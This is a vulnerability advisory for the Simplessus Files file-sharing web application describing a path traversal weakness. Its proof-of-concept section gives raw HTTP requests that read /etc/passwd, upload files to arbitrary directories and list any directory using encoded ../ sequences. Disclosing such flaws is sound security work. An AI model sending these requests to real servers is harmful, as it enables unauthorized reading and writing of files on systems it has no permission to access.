~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Product overview:

Simplessus Files is a file sharing web application.

The manufacturer describes the product as follows (see [1]):

Simplessus Files is a simple software solution to exchange files and
documents over the internet. No more file sharing via e-mail, FTP or
CD-ROM with Simplessus Files replace very large files online easily.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Vulnerability overview:

Due to insufficient filtering of user controlled input, Simplessus Files is
vulnerable to a path traversal weakness.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Vulnerability Details:

It is an obvious feature that users of the web application can download and
upload files and list directories. However, this should be restricted to
their own files and directories. Simplessus Files allows path traversal such
that any user can read and write any file that the system user which owns
the web server process has access to.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Proof of Concept (PoC):

The following request can be used to read the file /etc/passwd:

POST /?action=FS&download=1 HTTP/1.1
Host: <HOSTNAME>
Cookie: UWA_SID=0b2jre4jk217uegjso2qmabrm1; UWA_username=player2
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 110

cmd=download&path=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2
f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd

The following request can be used to upload files to arbirtray directories
in the file system (assuming www-data has write permissions):

POST /?action=FS&upload=1 HTTP/1.1
Host: <HOSTNAME>
Content-Length: 899
Content-Type: multipart/form-data; boundary=---------------------------2005325381163152094834751695

The following request can be used to list all files inside any directory in
the file system:

POST /?action=FS&folder_content=1 HTTP/1.1
Host: <HOSTNAME>
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 90
Cookie: UWA_SID=0b2jre4jk217uegjso2qmabrm1; UWA_username=player2
Connection: close

userId=0&nodePath=fs%2Fplayer2%2FTEST/../../../../../../../../etc/&dummy
=dummy
